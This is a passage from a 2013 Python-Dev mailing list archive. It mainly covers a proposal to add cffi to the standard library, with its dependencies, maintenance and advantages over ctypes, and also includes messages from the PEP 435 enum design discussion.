>> Hello.
>>
>> I would like to discuss on the language summit a potential inclusion
>> of cffi[1] into stdlib.
>
> I think cffi is well worth considering as a possible inclusion for
> Python 3.4. (In particular, I'm a fan of the fact it just uses C
> syntax to declare what you're trying to talk to)
>
> If I'm reading the dependencies correctly, we would also need to bring
> Eli Bendersky's pycparser into the stdlib, correct? (not an objection,
> just an observation, although we'd obviously need Eli's explicit
> endorsement for that).

Yes, although, depending on the circumstances it's possible to hide it
somewhere in cffi and not make it an official stdlib API (then several
rules does not apply). It also pulls in some version of ply (or a
generated parser).

>
> There would also be the matter of converting the cffi test suite from
> py.test to stdlib unittest.

I volunteer to do that, if necessary.

>
> Cheers,
> Nick.
>
> --
> Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From dirkjan at ochtman.nl  Tue Feb 26 17:30:41 2013
From: dirkjan at ochtman.nl (Dirkjan Ochtman)
Date: Tue, 26 Feb 2013 17:30:41 +0100
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
Message-ID: <CAKmKYaB9GufcTKDUs8AKKArEFOn_z_ZwNMiRQchr9bCEXe5PGw@mail.gmail.com>

On Tue, Feb 26, 2013 at 4:13 PM, Maciej Fijalkowski <fijall at gmail.com> wrote:
> I would like to discuss on the language summit a potential inclusion
> of cffi[1] into stdlib. This is a project Armin Rigo has been working
> for a while, with some input from other developers. It seems that the
> main reason why people would prefer ctypes over cffi these days is
> "because it's included in stdlib", which is not generally the reason I
> would like to hear. Our calls to not use C extensions and to use an
> FFI instead has seen very limited success with ctypes and quite a lot
> more since cffi got released. The API is fairly stable right now with
> minor changes going in and it'll definitely stablize until Python 3.4
> release.

I think this would be great to have in the stdlib.

I think it's useful to note that PyPy is planning to include this in
their stdlib for the next release, too, right?

Cheers,

Dirkjan

From solipsis at pitrou.net  Tue Feb 26 17:32:56 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 26 Feb 2013 17:32:56 +0100
Subject: [Python-Dev] cffi in stdlib
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
Message-ID: <20130226173256.3b4b94d2@pitrou.net>

Le Tue, 26 Feb 2013 17:13:44 +0200,
Maciej Fijalkowski <fijall at gmail.com> a ?crit :
> Hello.
> 
> I would like to discuss on the language summit a potential inclusion
> of cffi[1] into stdlib. This is a project Armin Rigo has been working
> for a while, with some input from other developers. It seems that the
> main reason why people would prefer ctypes over cffi these days is
> "because it's included in stdlib", which is not generally the reason I
> would like to hear. Our calls to not use C extensions and to use an
> FFI instead has seen very limited success with ctypes and quite a lot
> more since cffi got released. The API is fairly stable right now with
> minor changes going in and it'll definitely stablize until Python 3.4
> release.

Do you intend to actually maintain it inside the CPython repository?

Regards

Antoine.



From eliben at gmail.com  Tue Feb 26 17:34:59 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Tue, 26 Feb 2013 08:34:59 -0800
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
Message-ID: <CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>

On Tue, Feb 26, 2013 at 7:42 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:

> On Wed, Feb 27, 2013 at 1:13 AM, Maciej Fijalkowski <fijall at gmail.com>
> wrote:
> > Hello.
> >
> > I would like to discuss on the language summit a potential inclusion
> > of cffi[1] into stdlib.
>
> I think cffi is well worth considering as a possible inclusion for
> Python 3.4. (In particular, I'm a fan of the fact it just uses C
> syntax to declare what you're trying to talk to)
>

I'm cautiously +0.5 because I'd really like to see a strong comparison case
being made vs. ctypes. I've used ctypes many times and it was easy and
effortless (well, except the segfaults when wrong argument types are
declared :-). I'll be really interesting in seeing concrete examples that
demonstrate how CFFI is superior.



> If I'm reading the dependencies correctly, we would also need to bring
> Eli Bendersky's pycparser into the stdlib, correct? (not an objection,
> just an observation, although we'd obviously need Eli's explicit
> endorsement for that).
>

Of course I have no problem with this. I obviously signed the contributor
agreement by this point ;-) pycparser depends on David Beazley's PLY
though, so that will have to be pulled in as well.

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130226/045c6f92/attachment.html>

From ethan at stoneleaf.us  Tue Feb 26 17:03:40 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Tue, 26 Feb 2013 08:03:40 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512C5BF7.9090803@stoneleaf.us>
	<87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>
Message-ID: <512CDCDC.2090509@stoneleaf.us>

On 02/26/2013 01:29 AM, Stephen J. Turnbull wrote:
> Ethan Furman writes:
>> Stephen J. Turnbull wrote:
>>> Note that in both counting and listing the object of the
>>> operation is not an element.  It is a set, and set membership is
>>> the most important aspect of the elements for that purpose.
>>
>> No, it isn't.  It may be in some cases.
>
> I'm referring only to the dictionary definitions you quote.

Ah, okay.  Although, going with the first definition -- "ascertain the number of" -- I still maintain that the number is 
equally important, otherwise it could be a simple set.


> It really sounds to me like your use case (and even more so,
> Antoine's) would be perfectly well-served by a named constant class
> that doesn't know anything about enumerability.

My enumeration needs tend to be sequential; hence, well served by a class that easily binds names and sequential natural 
numbers together.


>> My enums even respect it to the point of not comparing equal to
>> different enum sets.  But, quite frankly, it's the enum's ability
>> to let me use a name to mean a number that is the most
>> important. And the most important thing for the Enum class is to
>> assign those numbers for me as automatically as possible.
>
> But "mean a number" and "assigned automatically" are close to mutually
> exclusive (except that "as possible" gives you a lot of wiggle room).

My main "as possible" case is when a number (or short range of numbers) is reserved for future use; being able to easily 
skip to the next meaningful number is a Good Thing.


> That is, if by "name means number" you imply that the numbers have
> semantics (as in Antoine's HTTP status code example), you care what
> the numbers are, and they can't be assigned automatically.

For the status code example I would probably manually assign all the numbers, since there are so few and the gaps 
between so large.

But for my use, which is mainly as list indices, all I have to do is list the names in the correct order -- so I do care 
what value they have, and they can be assigned automatically.


> OTOH, if the numbers are assigned very automatically (ie, completely
> implicitly), I have trouble with coming up with a use case where
> ability to use integer arithmetic (including comparisons other than
> equality and set membership) on them *by default* is anything but a
> trap.  Eg, with a Likert scale for preference[1], I *do* want to order
> them, but (at least when I'm teaching statistics) I *really* *don't*
> want them added and subtracted without thinking about exactly what the
> operation means.

Every time I do arithmetic with True/False I have to think about what's going on;  I see no difference between that and 
doing arithmetic with Color.red.


> And if you really need arithmetic and automatic assignment is good
> enough, what's wrong with their ordinary names (ie, 1, 2, 3, ...)?
> <wink/>

Because in one file CITY is in column 13, in another it's in column 15, in a third it's in column 7.  Much better 
(easier, safer, more readable) to get the assignment done _once_ and then use CITY everywhere else.  And an easy to use 
int-based Enum class makes that easy.  (And before you ask, yes, I need all the other columns as well.)


> Footnotes:
> [1]  A qualitative expression of strength of feeling ("hate" = 1,
> "dislike" = 2, "indifferent" = 3, "like" = 4, "love" = 5).

I'm beginning to see why enums as a class has not yet been added to Python.  We don't want to complicate the language 
with too many choices, yet there is no One Obvious Enum to fit the wide variety of use-cases:

   - named int enums  (http status codes)
   - named str enums  (tkinter options)
   - named bitmask enums  (file-type options)
   - named valueless enums  (any random set of names)
   - named valueless-yet-orderable enums  (any not-so-random set of names ;)

--
~Ethan~

From eliben at gmail.com  Tue Feb 26 17:38:17 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Tue, 26 Feb 2013 08:38:17 -0800
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxSLOoMov5++gGV0mnHipcE=ofgSPySBBUMYezzyN90u2g@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAK5idxSLOoMov5++gGV0mnHipcE=ofgSPySBBUMYezzyN90u2g@mail.gmail.com>
Message-ID: <CAF-Rda-LBK10V4m+4UY0w2+QwhJGpYw-dK7GM17jc_yJ2VLqXg@mail.gmail.com>

On Tue, Feb 26, 2013 at 8:26 AM, Maciej Fijalkowski <fijall at gmail.com>wrote:

> On Tue, Feb 26, 2013 at 5:42 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> > On Wed, Feb 27, 2013 at 1:13 AM, Maciej Fijalkowski <fijall at gmail.com>
> wrote:
> >> Hello.
> >>
> >> I would like to discuss on the language summit a potential inclusion
> >> of cffi[1] into stdlib.
> >
> > I think cffi is well worth considering as a possible inclusion for
> > Python 3.4. (In particular, I'm a fan of the fact it just uses C
> > syntax to declare what you're trying to talk to)
> >
> > If I'm reading the dependencies correctly, we would also need to bring
> > Eli Bendersky's pycparser into the stdlib, correct? (not an objection,
> > just an observation, although we'd obviously need Eli's explicit
> > endorsement for that).
>
> Yes, although, depending on the circumstances it's possible to hide it
> somewhere in cffi and not make it an official stdlib API (then several
> rules does not apply). It also pulls in some version of ply (or a
> generated parser).
>

I'll be the first one to admit that pycparser is almost certainly not
generally useful enough to be exposed in the stdlib. So just using it as an
implementation detail is absolutely fine. PLY is a more interesting
question, however, since PLY is somewhat more generally useful. That said,
I see all this as implementation details that shouldn't distract us from
the main point of whether cffi should be added.

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130226/67c6481a/attachment.html>

From fijall at gmail.com  Tue Feb 26 17:38:14 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Tue, 26 Feb 2013 18:38:14 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <20130226173256.3b4b94d2@pitrou.net>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<20130226173256.3b4b94d2@pitrou.net>
Message-ID: <CAK5idxQkQkg6YRiLAn8+PRmZCHn_1GGQPCwc6oXuerS4Gf1rEg@mail.gmail.com>

On Tue, Feb 26, 2013 at 6:32 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Le Tue, 26 Feb 2013 17:13:44 +0200,
> Maciej Fijalkowski <fijall at gmail.com> a ?crit :
>> Hello.
>>
>> I would like to discuss on the language summit a potential inclusion
>> of cffi[1] into stdlib. This is a project Armin Rigo has been working
>> for a while, with some input from other developers. It seems that the
>> main reason why people would prefer ctypes over cffi these days is
>> "because it's included in stdlib", which is not generally the reason I
>> would like to hear. Our calls to not use C extensions and to use an
>> FFI instead has seen very limited success with ctypes and quite a lot
>> more since cffi got released. The API is fairly stable right now with
>> minor changes going in and it'll definitely stablize until Python 3.4
>> release.
>
> Do you intend to actually maintain it inside the CPython repository?
>
> Regards
>
> Antoine.

Once we put it in, yes, of course. Me Armin and Alex.

From fijall at gmail.com  Tue Feb 26 17:39:25 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Tue, 26 Feb 2013 18:39:25 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
Message-ID: <CAK5idxT3SKPf5gAkZiGBKOuEcagbPynn-5hS6gdLq9HtzN9r7w@mail.gmail.com>

On Tue, Feb 26, 2013 at 6:34 PM, Eli Bendersky <eliben at gmail.com> wrote:
>
> On Tue, Feb 26, 2013 at 7:42 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
>>
>> On Wed, Feb 27, 2013 at 1:13 AM, Maciej Fijalkowski <fijall at gmail.com>
>> wrote:
>> > Hello.
>> >
>> > I would like to discuss on the language summit a potential inclusion
>> > of cffi[1] into stdlib.
>>
>> I think cffi is well worth considering as a possible inclusion for
>> Python 3.4. (In particular, I'm a fan of the fact it just uses C
>> syntax to declare what you're trying to talk to)
>
>
> I'm cautiously +0.5 because I'd really like to see a strong comparison case
> being made vs. ctypes. I've used ctypes many times and it was easy and
> effortless (well, except the segfaults when wrong argument types are
> declared :-). I'll be really interesting in seeing concrete examples that
> demonstrate how CFFI is superior.

My main issue with ctypes, other than confusing API, which is up to
taste, is that you just cannot wrap some libraries, like OpenSSL
because of API vs ABI. OpenSSL uses macros extensively. Another point
is that even C POSIX stdlib gives you incomplete structs and you have
to guess where to put what fields.

From arigo at tunes.org  Tue Feb 26 17:47:55 2013
From: arigo at tunes.org (Armin Rigo)
Date: Tue, 26 Feb 2013 17:47:55 +0100
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxQkQkg6YRiLAn8+PRmZCHn_1GGQPCwc6oXuerS4Gf1rEg@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<20130226173256.3b4b94d2@pitrou.net>
	<CAK5idxQkQkg6YRiLAn8+PRmZCHn_1GGQPCwc6oXuerS4Gf1rEg@mail.gmail.com>
Message-ID: <CAMSv6X2fUGs-3a9j=qB34iaxu1fj7swDS_YT=VuGALhyXyZRbA@mail.gmail.com>

Hi,

On Tue, Feb 26, 2013 at 5:38 PM, Maciej Fijalkowski <fijall at gmail.com> wrote:
>> Do you intend to actually maintain it inside the CPython repository?
>
> Once we put it in, yes, of course. Me Armin and Alex.

Yes, I confirm. :-)

Armin

From ncoghlan at gmail.com  Tue Feb 26 17:49:13 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 27 Feb 2013 02:49:13 +1000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxT3SKPf5gAkZiGBKOuEcagbPynn-5hS6gdLq9HtzN9r7w@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CAK5idxT3SKPf5gAkZiGBKOuEcagbPynn-5hS6gdLq9HtzN9r7w@mail.gmail.com>
Message-ID: <CADiSq7dRMgBGsNtqYr5gOCJxLgdvXiCmzBA7PCKN22RFmTtDFA@mail.gmail.com>

On Wed, Feb 27, 2013 at 2:39 AM, Maciej Fijalkowski <fijall at gmail.com> wrote:
> On Tue, Feb 26, 2013 at 6:34 PM, Eli Bendersky <eliben at gmail.com> wrote:
>>
>> On Tue, Feb 26, 2013 at 7:42 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
>>>
>>> On Wed, Feb 27, 2013 at 1:13 AM, Maciej Fijalkowski <fijall at gmail.com>
>>> wrote:
>>> > Hello.
>>> >
>>> > I would like to discuss on the language summit a potential inclusion
>>> > of cffi[1] into stdlib.
>>>
>>> I think cffi is well worth considering as a possible inclusion for
>>> Python 3.4. (In particular, I'm a fan of the fact it just uses C
>>> syntax to declare what you're trying to talk to)
>>
>>
>> I'm cautiously +0.5 because I'd really like to see a strong comparison case
>> being made vs. ctypes. I've used ctypes many times and it was easy and
>> effortless (well, except the segfaults when wrong argument types are
>> declared :-). I'll be really interesting in seeing concrete examples that
>> demonstrate how CFFI is superior.
>
> My main issue with ctypes, other than confusing API, which is up to
> taste, is that you just cannot wrap some libraries, like OpenSSL
> because of API vs ABI. OpenSSL uses macros extensively. Another point
> is that even C POSIX stdlib gives you incomplete structs and you have
> to guess where to put what fields.

For me, it's mostly the fact that ctypes is *less* typesafe than C
itself, because you can't easily consume the header files directly,
which leads directly to the segfaults caused by wrong declarations.
While at the time of inclusion there was a solid "practicality beats
purity" case for adding ctypes (and it's taken us quite a long way),
being less typesafe than C is still quite an achievement :)

As an experienced C programmer, not having to learn a new hybrid
language for declarations is also a plus, but the "significantly less
likely to segfault" aspect is the big one.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Tue Feb 26 17:52:16 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 27 Feb 2013 02:52:16 +1000
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512CDCDC.2090509@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512C5BF7.9090803@stoneleaf.us>
	<87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512CDCDC.2090509@stoneleaf.us>
Message-ID: <CADiSq7ePHbDv5xFWRW7=Q35Z11=_zaHg4+VtW37HTDsHzFALnw@mail.gmail.com>

On Wed, Feb 27, 2013 at 2:03 AM, Ethan Furman <ethan at stoneleaf.us> wrote:
> I'm beginning to see why enums as a class has not yet been added to Python.
> We don't want to complicate the language with too many choices, yet there is
> no One Obvious Enum to fit the wide variety of use-cases:
>
>   - named int enums  (http status codes)
>   - named str enums  (tkinter options)
>   - named bitmask enums  (file-type options)
>   - named valueless enums  (any random set of names)
>   - named valueless-yet-orderable enums  (any not-so-random set of names ;)

That's probably the best succinct description of the core problem I've
seen, and I've been following the various enum-related dicussions for
years :)

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From eliben at gmail.com  Tue Feb 26 18:07:03 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Tue, 26 Feb 2013 09:07:03 -0800
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxT3SKPf5gAkZiGBKOuEcagbPynn-5hS6gdLq9HtzN9r7w@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CAK5idxT3SKPf5gAkZiGBKOuEcagbPynn-5hS6gdLq9HtzN9r7w@mail.gmail.com>
Message-ID: <CAF-Rda8Gp97_SGC_GWN_6fU1iNnt79ctq0-dta_xrph30gcZvQ@mail.gmail.com>

On Tue, Feb 26, 2013 at 8:39 AM, Maciej Fijalkowski <fijall at gmail.com>wrote:

> On Tue, Feb 26, 2013 at 6:34 PM, Eli Bendersky <eliben at gmail.com> wrote:
> >
> > On Tue, Feb 26, 2013 at 7:42 AM, Nick Coghlan <ncoghlan at gmail.com>
> wrote:
> >>
> >> On Wed, Feb 27, 2013 at 1:13 AM, Maciej Fijalkowski <fijall at gmail.com>
> >> wrote:
> >> > Hello.
> >> >
> >> > I would like to discuss on the language summit a potential inclusion
> >> > of cffi[1] into stdlib.
> >>
> >> I think cffi is well worth considering as a possible inclusion for
> >> Python 3.4. (In particular, I'm a fan of the fact it just uses C
> >> syntax to declare what you're trying to talk to)
> >
> >
> > I'm cautiously +0.5 because I'd really like to see a strong comparison
> case
> > being made vs. ctypes. I've used ctypes many times and it was easy and
> > effortless (well, except the segfaults when wrong argument types are
> > declared :-). I'll be really interesting in seeing concrete examples that
> > demonstrate how CFFI is superior.
>
> My main issue with ctypes, other than confusing API, which is up to
> taste, is that you just cannot wrap some libraries, like OpenSSL
> because of API vs ABI. OpenSSL uses macros extensively. Another point
> is that even C POSIX stdlib gives you incomplete structs and you have
> to guess where to put what fields.
>

Yep, I can think of some reasons too. But just mentioning it so you
remember explicitly listing the advantages when it comes to writing a PEP
or some other sort of formal proposal. An FWIW, I think there's already
enough positive feedback to at least start drafting a PEP. It can always be
rejected later ;-)

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130226/4ed92057/attachment.html>

From fijall at gmail.com  Tue Feb 26 18:14:34 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Tue, 26 Feb 2013 19:14:34 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAF-Rda8Gp97_SGC_GWN_6fU1iNnt79ctq0-dta_xrph30gcZvQ@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CAK5idxT3SKPf5gAkZiGBKOuEcagbPynn-5hS6gdLq9HtzN9r7w@mail.gmail.com>
	<CAF-Rda8Gp97_SGC_GWN_6fU1iNnt79ctq0-dta_xrph30gcZvQ@mail.gmail.com>
Message-ID: <CAK5idxSn2OqKYib0fopV8xXAxTmKgjefR3zCCNs99m2_Hhf64A@mail.gmail.com>

On Tue, Feb 26, 2013 at 7:07 PM, Eli Bendersky <eliben at gmail.com> wrote:
>
>
>
> On Tue, Feb 26, 2013 at 8:39 AM, Maciej Fijalkowski <fijall at gmail.com>
> wrote:
>>
>> On Tue, Feb 26, 2013 at 6:34 PM, Eli Bendersky <eliben at gmail.com> wrote:
>> >
>> > On Tue, Feb 26, 2013 at 7:42 AM, Nick Coghlan <ncoghlan at gmail.com>
>> > wrote:
>> >>
>> >> On Wed, Feb 27, 2013 at 1:13 AM, Maciej Fijalkowski <fijall at gmail.com>
>> >> wrote:
>> >> > Hello.
>> >> >
>> >> > I would like to discuss on the language summit a potential inclusion
>> >> > of cffi[1] into stdlib.
>> >>
>> >> I think cffi is well worth considering as a possible inclusion for
>> >> Python 3.4. (In particular, I'm a fan of the fact it just uses C
>> >> syntax to declare what you're trying to talk to)
>> >
>> >
>> > I'm cautiously +0.5 because I'd really like to see a strong comparison
>> > case
>> > being made vs. ctypes. I've used ctypes many times and it was easy and
>> > effortless (well, except the segfaults when wrong argument types are
>> > declared :-). I'll be really interesting in seeing concrete examples
>> > that
>> > demonstrate how CFFI is superior.
>>
>> My main issue with ctypes, other than confusing API, which is up to
>> taste, is that you just cannot wrap some libraries, like OpenSSL
>> because of API vs ABI. OpenSSL uses macros extensively. Another point
>> is that even C POSIX stdlib gives you incomplete structs and you have
>> to guess where to put what fields.
>
>
> Yep, I can think of some reasons too. But just mentioning it so you remember
> explicitly listing the advantages when it comes to writing a PEP or some
> other sort of formal proposal. An FWIW, I think there's already enough
> positive feedback to at least start drafting a PEP. It can always be
> rejected later ;-)
>
> Eli
>

It's copy-pasted in the original mail and it's in the docs. Anyway,
this is just to familizarize people with the library. We're going to
discuss it on the language summit at pycon.

From dholth at gmail.com  Tue Feb 26 18:21:40 2013
From: dholth at gmail.com (Daniel Holth)
Date: Tue, 26 Feb 2013 12:21:40 -0500
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxSn2OqKYib0fopV8xXAxTmKgjefR3zCCNs99m2_Hhf64A@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CAK5idxT3SKPf5gAkZiGBKOuEcagbPynn-5hS6gdLq9HtzN9r7w@mail.gmail.com>
	<CAF-Rda8Gp97_SGC_GWN_6fU1iNnt79ctq0-dta_xrph30gcZvQ@mail.gmail.com>
	<CAK5idxSn2OqKYib0fopV8xXAxTmKgjefR3zCCNs99m2_Hhf64A@mail.gmail.com>
Message-ID: <CAG8k2+52E0GEkgtnRjtwF_XaRoo_hBf+YeEozcLf-_bUtgLMfg@mail.gmail.com>

+1


On Tue, Feb 26, 2013 at 12:14 PM, Maciej Fijalkowski <fijall at gmail.com>wrote:

> On Tue, Feb 26, 2013 at 7:07 PM, Eli Bendersky <eliben at gmail.com> wrote:
> >
> >
> >
> > On Tue, Feb 26, 2013 at 8:39 AM, Maciej Fijalkowski <fijall at gmail.com>
> > wrote:
> >>
> >> On Tue, Feb 26, 2013 at 6:34 PM, Eli Bendersky <eliben at gmail.com>
> wrote:
> >> >
> >> > On Tue, Feb 26, 2013 at 7:42 AM, Nick Coghlan <ncoghlan at gmail.com>
> >> > wrote:
> >> >>
> >> >> On Wed, Feb 27, 2013 at 1:13 AM, Maciej Fijalkowski <
> fijall at gmail.com>
> >> >> wrote:
> >> >> > Hello.
> >> >> >
> >> >> > I would like to discuss on the language summit a potential
> inclusion
> >> >> > of cffi[1] into stdlib.
> >> >>
> >> >> I think cffi is well worth considering as a possible inclusion for
> >> >> Python 3.4. (In particular, I'm a fan of the fact it just uses C
> >> >> syntax to declare what you're trying to talk to)
> >> >
> >> >
> >> > I'm cautiously +0.5 because I'd really like to see a strong comparison
> >> > case
> >> > being made vs. ctypes. I've used ctypes many times and it was easy and
> >> > effortless (well, except the segfaults when wrong argument types are
> >> > declared :-). I'll be really interesting in seeing concrete examples
> >> > that
> >> > demonstrate how CFFI is superior.
> >>
> >> My main issue with ctypes, other than confusing API, which is up to
> >> taste, is that you just cannot wrap some libraries, like OpenSSL
> >> because of API vs ABI. OpenSSL uses macros extensively. Another point
> >> is that even C POSIX stdlib gives you incomplete structs and you have
> >> to guess where to put what fields.
> >
> >
> > Yep, I can think of some reasons too. But just mentioning it so you
> remember
> > explicitly listing the advantages when it comes to writing a PEP or some
> > other sort of formal proposal. An FWIW, I think there's already enough
> > positive feedback to at least start drafting a PEP. It can always be
> > rejected later ;-)
> >
> > Eli
> >
>
> It's copy-pasted in the original mail and it's in the docs. Anyway,
> this is just to familizarize people with the library. We're going to
> discuss it on the language summit at pycon.
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/dholth%40gmail.com
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130226/2cbcf214/attachment-0001.html>

From p.f.moore at gmail.com  Tue Feb 26 19:14:26 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Tue, 26 Feb 2013 18:14:26 +0000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
Message-ID: <CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>

On 26 February 2013 16:34, Eli Bendersky <eliben at gmail.com> wrote:
> I'm cautiously +0.5 because I'd really like to see a strong comparison case
> being made vs. ctypes. I've used ctypes many times and it was easy and
> effortless (well, except the segfaults when wrong argument types are
> declared :-). I'll be really interesting in seeing concrete examples that
> demonstrate how CFFI is superior.

I'm probably the same, mainly because I've successfully used ctypes in
the past, but I've never used cffi. That's something I need to
rectify.

One point which I *think* is correct, but which I don't see noted
anywhere. Am I right that cffi needs a C compiler involved in the
process, at least somewhere? If that's the case, then it is not a
suitable option for at least one use case that I have, writing quick
